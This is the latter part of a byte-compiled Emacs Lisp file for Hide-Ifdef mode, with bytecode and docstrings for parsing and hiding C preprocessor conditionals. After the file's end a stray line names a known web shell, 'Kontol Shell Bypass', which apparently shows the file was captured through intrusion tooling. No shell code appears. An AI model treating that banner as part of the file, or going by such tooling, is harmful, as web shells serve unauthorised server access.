#@87 Scan token list for `hif-stringify' ('#') token and stringify the next token.

(fn L)
(defalias 'hif-token-stringification #[257 "\300\2031@\301=\203$A@\203\301A@!\202\302\303!A\262\202&@B\262A\262\202\211\237\207" [nil hif-stringify error "No token to stringify"] 4 (#$ . 28321)])
#@89 Scan token list for `hif-token-concat' ('##') token and concatenate two tokens.

(fn L)
(defalias 'hif-token-concatenation #[257 "\300\211\203D@\301=\203.\204\302\303!\210A\204\302\304!\210\301A@\"\262AA\262\202\2039\305C\"\262@\262A\262\202\203P\305C\"\202Q\211\207" [nil hif-token-concat error "No token before ## to concatenate" "No token after ## to concatenate" append] 6 (#$ . 28629)])
(defalias 'hif-delimit #[514 "\300\301\302\303\304\305!\306\"\307\310%\311!\"\312!\244\207" [cl-mapcan make-byte-code 257 "\211\300D\207" vconcat vector [] 3 "\n\n(fn L)" butlast last] 9 "\n\n(fn LIS ATOM)"])
#@92 Expand a macro call, replace ACTUAL-PARMS in the macro body.

(fn MACRO-NAME ACTUAL-PARMS)
(defalias 'hif-macro-supply-arguments #[514 "\301\"\211\205\211A\205\211A@\302=\205\211AA\211\205\211@\205%A@\303\211\211\211\205\246\205\246\205\246@\304=\211\262\203DA\262G\262G\262V\203\\\305\306\"\210\202lW\203l\211\204l\305\307\"\210\211A\262\242\211\262\203\233\310\203\212\204\212\311\n\312\"\202\215	@#\262A\262	\202l\313!\262\314\315!!\207" [hide-ifdef-env assoc hif-define-macro nil hif-etc error "Too few parameters for macro %S" "Too many parameters for macro %S" cl-substitute hif-delimit hif-comma hif-flatten hif-token-concatenation hif-token-stringification] 14 (#$ . 29273)])
#@105 Invoke a macro by expanding it, reparse macro-body and finally invoke it.

(fn MACRO-NAME ACTUAL-PARMS)
(defalias 'hif-invoke #[514 "\301\302\"\"!\207" [hide-ifdef-evaluator hif-parse-exp hif-macro-supply-arguments] 7 (#$ . 30029)])
#@64 Return the expanded result of the scanned tokens.

(fn REGEXP)
(defalias 'hif-canonicalize-tokens #[257 "\212\302!\210\303\304!\305\"\211\205\303\306\"\307\230\310\311`\312 \210`\"\203(\313D\262\2031\314D\262)\266\203)\207" [hif-ifxdef-regexp hif-simple-token-only re-search-forward match-string 0 string-match 2 "n" nil hif-tokenize hif-end-of-line hif-defined hif-not] 7 (#$ . 30272)])
#@150 Return a Lisp expression for its condition by scanning current buffer.
Do this when cursor is at the beginning of `regexp' (i.e. #ifX).

(fn REGEXP)
(defalias 'hif-canonicalize #[257 "\303\212\304!\210\305\306!\307	\"\211\205\305\310\"\311\230\303\312`\313 \210`\"\203*\314D\262\2033\315D\262\316!)\266\204*\207" [case-fold-search hif-ifxdef-regexp hif-simple-token-only nil re-search-forward match-string 0 string-match 2 "n" hif-tokenize hif-end-of-line hif-defined hif-not hif-parse-exp] 7 (#$ . 30682)])
#@53 Move to next #if..., or #ifndef, at point or after.
(defalias 'hif-find-any-ifX #[0 "\301d\302#\303 \210\207" [hif-ifx-regexp re-search-forward t beginning-of-line] 4 (#$ . 31212)])
#@74 Move to next #if..., #elif..., #else, or #endif, after the current line.
(defalias 'hif-find-next-relevant #[0 "\301\210\302d\303#\205
\304 \207" [hif-ifx-else-endif-regexp nil re-search-forward t beginning-of-line] 4 (#$ . 31401)])
#@69 Move to previous #if..., #else, or #endif, before the current line.
(defalias 'hif-find-previous-relevant #[0 "\301 \210\302e\303#\205
\301 \207" [hif-ifx-else-endif-regexp beginning-of-line re-search-backward t] 4 (#$ . 31643)])
(defalias 'hif-looking-at-ifX #[0 "\301!\207" [hif-ifx-regexp looking-at] 2])
(defalias 'hif-looking-at-endif #[0 "\301!\207" [hif-endif-regexp looking-at] 2])
(defalias 'hif-looking-at-else #[0 "\301!\207" [hif-else-regexp looking-at] 2])
(defalias 'hif-looking-at-elif #[0 "\301!\207" [hif-elif-regexp looking-at] 2])
#@76 If positioned at #ifX, #elif, or #else form, skip to corresponding #endif.
(defalias 'hif-ifdef-to-endif #[0 "\300 \210\301 \203\302 \210\302 \207\303 \203\302 \207\304 \203\302 \207\305 \203%\306\207\307\310!\207" [hif-find-next-relevant hif-looking-at-ifX hif-ifdef-to-endif hif-looking-at-elif hif-looking-at-else hif-looking-at-endif done error "Mismatched #ifdef #endif pair"] 2 (#$ . 32205)])
#@68 If positioned at #endif form, skip backward to corresponding #ifX.
(defalias 'hif-endif-to-ifdef #[0 "`\300 \210\211`U\203\301\302!\210\210\303 \203\304 \210\304 \207\305 \203\"\304 \207\306 \203*\304 \207\307 \2031\310\207\301\311!\207" [hif-find-previous-relevant error "Mismatched #ifdef #endif pair" hif-looking-at-endif hif-endif-to-ifdef hif-looking-at-elif hif-looking-at-else hif-looking-at-ifX done "Mismatched #endif"] 3 (#$ . 32617)])
#@118 Move point to beginning of line of the next ifdef-endif.
With argument, do this that many times.

(fn &optional ARG)
(defalias 'forward-ifdef #[256 "\211\204\300\262\211\301W\203\302[!\207\301W\205;\211[\262`\303 \204%\304 \210\303 \2030\305 \210\2027\211b\210\306\307!\210\210\202\207" [1 0 backward-ifdef hif-looking-at-ifX hif-find-next-relevant hif-ifdef-to-endif error "No following #ifdef"] 4 (#$ . 33077) "p"])
#@114 Move point to beginning of the previous ifdef-endif.
With argument, do this that many times.

(fn &optional ARG)
(defalias 'backward-ifdef #[256 "\211\204\300\262\211\301W\203\302[!\207\301W\205>\211S\262\303 \210`\304 \204(\305 \210\304 \2033\306 \210\202:\211b\210\307\310!\210\210\202\207" [1 0 forward-ifdef beginning-of-line hif-looking-at-endif hif-find-previous-relevant hif-endif-to-ifdef error "No previous #ifdef"] 4 (#$ . 33516) "p"])
#@55 Move point to beginning of nested ifdef or else-part.
(defalias 'down-ifdef #[0 "`\300 \210\301 \206\302 ?\205\211b\210\303\304!\207" [hif-find-next-relevant hif-looking-at-ifX hif-looking-at-else error "No following #ifdef"] 3 (#$ . 33982) nil])
#@58 Move point to beginning of enclosing ifdef or else-part.
(defalias 'up-ifdef #[0 "\300 \210`\301 \204\f\302 \210\301 \203\303 \210\211`U\205\304\305!\207" [beginning-of-line hif-looking-at-endif hif-find-previous-relevant hif-endif-to-ifdef error "No previous #ifdef"] 3 (#$ . 34239) nil])
#@119 Move to the beginning of the next #ifX, #else, or #endif.
With argument, do this that many times.

(fn &optional ARG)
(defalias 'next-ifdef #[256 "\211\204\300\262\211\301W\203\302[!\207\301W\205-\211S\262\303 \210l\203\304 \210\305\306!\210\202\207" [1 0 previous-ifdef hif-find-next-relevant beginning-of-line error "No following #ifdefs, #elses, or #endifs"] 3 (#$ . 34541) "p"])
#@123 Move to the beginning of the previous #ifX, #else, or #endif.
With argument, do this that many times.

(fn &optional ARG)
(defalias 'previous-ifdef #[256 "\211\204\300\262\211\301W\203\302[!\207\301W\205.\211S\262`\303 \210\211`U\203*\304\305!\210\210\202\207" [1 0 next-ifdef hif-find-previous-relevant error "No previous #ifdefs, #elses, or #endifs"] 4 (#$ . 34944) "p"])
(defalias 'hif-make-range #[1026 "F\207" [] 8 "\n\n(fn START END &optional ELSE ELIF)"])
(put 'hif-make-range 'byte-optimizer 'byte-compile-inline-expand)
(defalias 'hif-range-start #[257 "\211\300\234\207" [0] 3 "\n\n(fn RANGE)"])
(put 'hif-range-start 'byte-optimizer 'byte-compile-inline-expand)
(defalias 'hif-range-else #[257 "\211\300\234\207" [1] 3 "\n\n(fn RANGE)"])
(put 'hif-range-else 'byte-optimizer 'byte-compile-inline-expand)
(defalias 'hif-range-end #[257 "\211\300\234\207" [2] 3 "\n\n(fn RANGE)"])
(put 'hif-range-end 'byte-optimizer 'byte-compile-inline-expand)
(defalias 'hif-range-elif #[257 "\211\300\234\207" [3] 3 "\n\n(fn RANGE)"])
(put 'hif-range-elif 'byte-optimizer 'byte-compile-inline-expand)
#@86 Return a Range structure describing the current #if region.
Point is left unchanged.
(defalias 'hif-find-range #[0 "\212\300 \210`\301\211\211\204=\211\204=\302 \210\303 \203\304 \210\202\305 \203,`C\244\262\202\306 \2037`\262\202`\262\202\203[\302 \210\303 \203O\304 \210\202A\306 \203X\307\310!\210`\262F\266\204\266\204)\207" [beginning-of-line nil hif-find-next-relevant hif-looking-at-ifX hif-ifdef-to-endif hif-looking-at-elif hif-looking-at-else error "Found two elses in a row?  Broken!"] 12 (#$ . 36063)])
#@88 Hide the line containing point.
Does nothing if `hide-ifdef-lines' is nil.

(fn POINT)
(defalias 'hif-hide-line #[257 "\205\212\211b\210\301\302 \303 \210`\")\207" [hide-ifdef-lines hide-ifdef-region-internal line-beginning-position hif-end-of-line] 4 (#$ . 36617)])
(defvar hif-recurse-level 0)
#@113 Call `hide-ifdef-guts' after narrowing to end of START line and END line.

(fn START END &optional DONT-GO-EOL)
(defalias 'hif-recurse-on #[770 "\212\214b\210\211\204\f\301\210`}\210T\302 +\207" [hif-recurse-level nil hide-ifdef-guts] 5 (#$ . 36923)])
#@320 Called at #ifX expression, this hides those parts that should be hidden.
It uses the judgment of `hide-ifdef-evaluator'.  EXPAND-REINCLUSION is a flag
indicating that we should expand the #ifdef even if it should be hidden.
Refer to `hide-ifdef-expand-reinclusion-protection' for more details.

(fn EXPAND-REINCLUSION)
(defalias 'hif-possibly-hide #[257 "\304\305	!\306 \211\211\307\234\262\310\304\311\211\312\234\262!\210\211\204\203$\204\240\313\n!!\203\240\203[@\311\211\314\234\262!\210\315\211\314\234\262S\"\210\240\210\211b\210A\262\305!\262\210\202\n\211\316\234\262\203\217\311\211\316\234\262!\210\315\211\314\234\262\211\316\234\262S\"\210\317\211\316\234\262\211\312\234\262\"\210\202\232\315`\211\312\234\262S\"\210\310\262\202\n\203\304@\311!\210\315\211\312\234\262S\"\210\317\211\314\234\262\"\266\202\211\316\234\262\203\370\311\211\316\234\262!\210\315\211\316\234\262\211\312\234\262S\"\210\317\211\314\234\262\211\316\234\262\"\210\202\317\211\314\234\262\211\312\234\262\"\210\310\262\304\262\202\311\211\314\234\262!\210\211\312\234\262b\210\304)\207" [case-fold-search hif-ifx-regexp hide-ifdef-evaluator hif-elif-regexp nil hif-canonicalize hif-find-range 3 t hif-hide-line 2 hif-not 0 hide-ifdef-region 1 hif-recurse-on] 12 (#$ . 37188)])
(defalias 'hif-evaluate-region #[514 "\3011\f\302\"0\202\210\303\211\205\3041\305!0\202\210\211!\207" [hide-ifdef-evaluator (error) hif-tokenize nil (error) hif-parse-exp] 6 "\n\n(fn START END)"])
#@245 Evaluate the macro expansion result for the active region.
If no region active, find the current #ifdefs and evaluate the result.
Currently it supports only math calculations, strings or argumented macros can
not be expanded.

(fn RSTART REND)
(defalias 'hif-evaluate-macro #[514 "\305\212\306 \204'\305\262\305\262\307 \210\310	\305\311#\203'\312\313!\314\230\203'\310\n\305\311#\210\206,`\2064\315 \210`\305\311\3161B\317\"0\202D\210\305\211G\320X\203i\321@\"\211\262\203i\322@!:?\211\262\203i\322@!\206z\211\205z\3231x\324!0\202z\210\305\f!\325\326\327\325\330\331\332

\"##G\320X\203\253\203\253\203\243\333\334#\210\202\361\333\335\"\210\202\361\250\203\317\336U\204\274\320U\203\305\333\334#\210\202\361\333\337\211$\210\202\361\204\334\333\334\340#\210\202\361\311=\203\353\333\334\341#\210\202\361\333\334#\210\266\210*\207" [case-fold-search hif-macro-expr-prefix-regexp hif-macroref-regexp hide-ifdef-env hide-ifdef-evaluator nil use-region-p beginning-of-line re-search-forward t match-string 2 "define" hif-end-of-line (error) hif-tokenize 1 assoc hif-lookup (error) hif-parse-exp replace-regexp-in-string "^[ 	]*\\([^ 	]+\\)[ 	]*" "\\1" "\\(//.*\\)" "" buffer-substring-no-properties message "%S <= `%s'" "`%s' is not defined" 0 "%S (0x%x) <= `%s'" false true] 18 (#$ . 38759) (byte-code "\300 \203\301 \302 D\207\303\207" [use-region-p region-beginning region-end (nil nil)] 2)])
#@182 Parse argument list formatted as `( arg1 [ , argn] [...] )'.
The `...' is also included.  Return a list of the arguments, if `...' exists the
first arg will be `hif-etc'.

(fn STR)
(defalias 'hif-parse-macro-arglist #[257 "\301\302`GZ`\"A\301\211\211\211A\262\242\211\262\303=\2045\211\304=\203'\305\262\202
\211\306=\204
\211B\262\202
\203@\304\237B\202B\237)\207" [hif-simple-token-only nil hif-tokenize hif-rparen hif-etc t hif-comma] 7 (#$ . 40227)])
#@93 Parse texts and retrieve all defines within the region MIN and MAX.

(fn &optional MIN MAX)
(defalias 'hif-find-define #[512 "\203b\210\305\306#\205\262\307\310!\311\230\305	\306#\205\307\312!\307\313!\205*\314\307\310!!\203\243\n\2039\315\n\"\206\254`\316 \210`\317\205W\3201P\321\"0\202W\210\306\322\"\211\205u\203q\211<\203q\211G\312U\203q\323!\206u\324E\205\200\325\326!\f\"\205\235\211\203\223\211\241\206\235\306\202\235\326!B\fB\211)\266\205\202\254\205\254\327\326!!\266\203\205\262\306\207" [hif-define-regexp hif-macroref-regexp hide-ifdef-exclude-define-regexp hif-simple-token-only hide-ifdef-env re-search-forward t match-string 2 "define" 1 3 hif-parse-macro-arglist string-match hif-end-of-line nil (error) hif-tokenize buffer-substring-no-properties hif-parse-exp hif-define-macro assoc intern hif-undefine-symbol] 12 (#$ . 40706) nil])
#@78 Scan and add all #define macros between MIN and MAX.

(fn &optional MIN MAX)
(defalias 'hif-add-new-defines #[512 "\212\214\300\"\203`\262\202\211\203\211b\202db*\207" [hif-find-define] 5 (#$ . 41620) nil])
#@112 Does most of the work of `hide-ifdefs'.
It does not do the work that's pointless to redo on a recursive entry.
(defalias 'hide-ifdef-guts #[0 "\212\304	\205\305\n\306 \"\205\307U\310\211\310eb\210`\262\311 \262\312\"\210\211\203-\313!\210`\262\211\204*\310\266\203)\207" [case-fold-search hide-ifdef-expand-reinclusion-protection hide-ifdef-header-regexp hif-recurse-level t string-match buffer-file-name 0 nil hif-find-any-ifX hif-add-new-defines hif-possibly-hide] 7 (#$ . 41845)])
#@32 Toggle `hide-ifdef-read-only'.
(defalias 'hide-ifdef-toggle-read-only #[0 "?\304\305\203
\306\202\307\"\210	\203\206\n\310 \207" [hide-ifdef-read-only hide-ifdef-hiding hif-outside-read-only buffer-read-only message "Hide-Read-Only %s" "ON" "OFF" force-mode-line-update] 3 (#$ . 42351) nil])
#@58 Replacement for `read-only-mode' within Hide-Ifdef mode.
(defalias 'hide-ifdef-toggle-outside-read-only #[0 "?\304\305\203
\306\202\307\"\210	\203\n\206\310 \207" [hif-outside-read-only hide-ifdef-hiding hide-ifdef-read-only buffer-read-only message "Read only %s" "ON" "OFF" force-mode-line-update] 3 (#$ . 42661) nil])
#@19 Toggle shadowing.
(defalias 'hide-ifdef-toggle-shadowing #[0 "\301\300!\210?\302\303\203\304\202\305\"\210\214~\210\306ed\"\211\205N\211@\307\310\"\203G\203;\311\312\313#\210\311\314\300#\210\202G\311\314\313#\210\311\312\310#\210A\266\202\202\262)\207" [hide-ifdef-shadow make-local-variable message "Shadowing %s" "ON" "OFF" overlays-in overlay-get hide-ifdef overlay-put invisible nil face] 6 (#$ . 43000) nil])
#@115 Define a VAR to VAL (default 1) in `hide-ifdef-env'.
This allows #ifdef VAR to be hidden.

(fn VAR &optional VAL)
(defalias 'hide-ifdef-define #[513 "\301\206\302\"\210\303\304\206\302#\210\305\302!\210\205\306 \207" [hide-ifdef-hiding hif-set-var 1 message "%s set to %s" sleep-for hide-ifdefs] 6 (#$ . 43443) (byte-code "\212\301 \210\302!\203\303\304!\210\305\306!\202\307)\310\311\"\312\313\314\"\307\211\315\307\316&D\207" [hif-ifx-else-endif-regexp beginning-of-line looking-at forward-word-strictly 2 current-word strict nil read-minibuffer "Define what? " read-from-minibuffer format "Set %s to? (default 1): " t "1"] 9)])
(defalias 'hif-undefine-symbol #[257 "\301\302\"\"\211\207" [hide-ifdef-env delete assoc] 5 "\n\n(fn VAR)"])
#@74 Undefine a VAR so that #ifdef VAR would not be included.

(fn START END)
(defalias 'hide-ifdef-undef #[514 "\301!\203\301!\203\302\"\206\303\304\305 \"\211\205\306!\307!\310U\203.\311\312\"\202=\313!\210\2039\314 \210\311\315\"\207" [hide-ifdef-hiding number-or-marker-p buffer-substring-no-properties read-string "Undefine what? " current-word intern hif-defined 0 message "`%s' not defined, no need to undefine it" hif-undefine-symbol hide-ifdefs "`%S' undefined"] 7 (#$ . 44214) (byte-code "\300 \203\301 \302 D\207\303\207" [use-region-p region-beginning region-end (nil nil)] 2)])
#@368 Hide the contents of some #ifdefs.
Assume that defined symbols have been added to `hide-ifdef-env'.
The text hidden is the text that would not be included by the C
preprocessor if it were given the file with those symbols defined.
With prefix command presents it will also hide the #ifdefs themselves.

Turn off hiding by calling `show-ifdefs'.

(fn &optional NOMSG)
(defalias 'hide-ifdefs #[256 "\211\204\n\306\307!\210\n\f\204\304\310!\210
\203\311 \210\312\313 \210
\206&\211\206.\306\314!)\207" [current-prefix-arg hide-ifdef-lines buffer-read-only hif-outside-read-only hide-ifdef-mode hide-ifdef-hiding message "Hiding..." 1 show-ifdefs t hide-ifdef-guts "Hiding done" hide-ifdef-read-only] 3 (#$ . 44830) nil])
#@71 Cancel the effects of `hide-ifdef': show the contents of all #ifdefs.
(defalias 'show-ifdefs #[0 "\303 \210\304\211\207" [hif-outside-read-only buffer-read-only hide-ifdef-hiding hif-show-all nil] 2 (#$ . 45568) nil])
#@91 Utility to hide and show ifdef block.
Return as (TOP . BOTTOM) the extent of ifdef block.
(defalias 'hif-find-ifdef-block #[0 "\300\212\301 \210\302 \204\303 \204\304 \210`\305 \210`S\262)\212\301 \210\306 \204'\307 \210\303 \2035\305 \210\307 \210\202'`S^)B\207" [nil beginning-of-line hif-looking-at-else hif-looking-at-ifX up-ifdef hif-ifdef-to-endif hif-looking-at-endif hif-find-next-relevant] 4 (#$ . 45795)])
#@174 Hide the ifdef block (true or false part) enclosing or before the cursor.
With optional prefix argument ARG, also hide the #ifdefs themselves.

(fn &optional ARG START END)
(defalias 'hide-ifdef-block #[768 "\306 \203	T\307\310#\210\311\211)\202C\204\303\312!\210\313 \314@A\"\210\2037\315@!\210\315AT!\210\310\210
\206@\211)\207" [hide-ifdef-lines hif-recurse-level mark-active hide-ifdef-mode hide-ifdef-hiding hide-ifdef-read-only use-region-p hif-recurse-on t nil 1 hif-find-ifdef-block hide-ifdef-region hif-hide-line hif-outside-read-only buffer-read-only] 7 (#$ . 46227) "P\nr"])
#@101 Show the ifdef block (true or false part) enclosing or before the cursor.

(fn &optional START END)
(defalias 'show-ifdef-block #[512 "\302!\203-\302!\203-\303\"\211\203(\211@\304\305\"\203!\306!\210A\266\202\202\210\307\211\207\31017\311 0\2029\210\307\303e`S]d`T^\"\307\203n	\203e\312\212@b\210\313 )\212ATb\210\314 \210`)\"\210\202n\312@SA\"\262\205s\211?\205\222\211\205\220\211@\304\305\"\203\211\306!\210A\266\202\202x\262\207" [mark-active hide-ifdef-lines number-or-marker-p overlays-in overlay-get hide-ifdef delete-overlay nil (error) hif-find-ifdef-block hif-show-ifdef-region line-beginning-position hif-end-of-line] 10 (#$ . 46845) (byte-code "\300 \203\301 \302 D\207\303\207" [use-region-p region-beginning region-end (nil nil)] 2)])
#@50 A global assoc list of pre-defined symbol lists.
(defvar hide-ifdef-define-alist nil (#$ . 47638))
#@77 Compress the define list ENV into a list of defined symbols only.

(fn ENV)
(defalias 'hif-compress-define-list #[257 "\300\211\203\211@\301@!\203\211@B\262A\266\202\202\262\207" [nil hif-lookup] 6 (#$ . 47743)])
#@62 Set the association for NAME to `hide-ifdef-env'.

(fn NAME)
(defalias 'hide-ifdef-set-define-alist #[257 "\211\302!B	B\211\207" [hide-ifdef-env hide-ifdef-define-alist hif-compress-define-list] 4 (#$ . 47975) "SSet define list: "])
#@71 Set `hide-ifdef-env' to the define list specified by NAME.

(fn NAME)
(defalias 'hide-ifdef-use-define-alist #[257 "\211;\203\n\303!\262\304\"\211\203\305\306A\"\202 \307\310\"\210\n\205&\311 \207" [hide-ifdef-define-alist hide-ifdef-env hide-ifdef-hiding intern assoc mapcar #[257 "\211\300B\207" [t] 3 "\n\n(fn ARG)"] error "No define list for %s" hide-ifdefs] 5 (#$ . 48216) (byte-code "\301\302\303\304\"\305\306$C\207" [hide-ifdef-define-alist completing-read "Use define list: " mapcar #[257 "\300@!\207" [symbol-name] 3 "\n\n(fn X)"] nil t] 5)])
(provide 'hideif)

Kontol Shell Bypass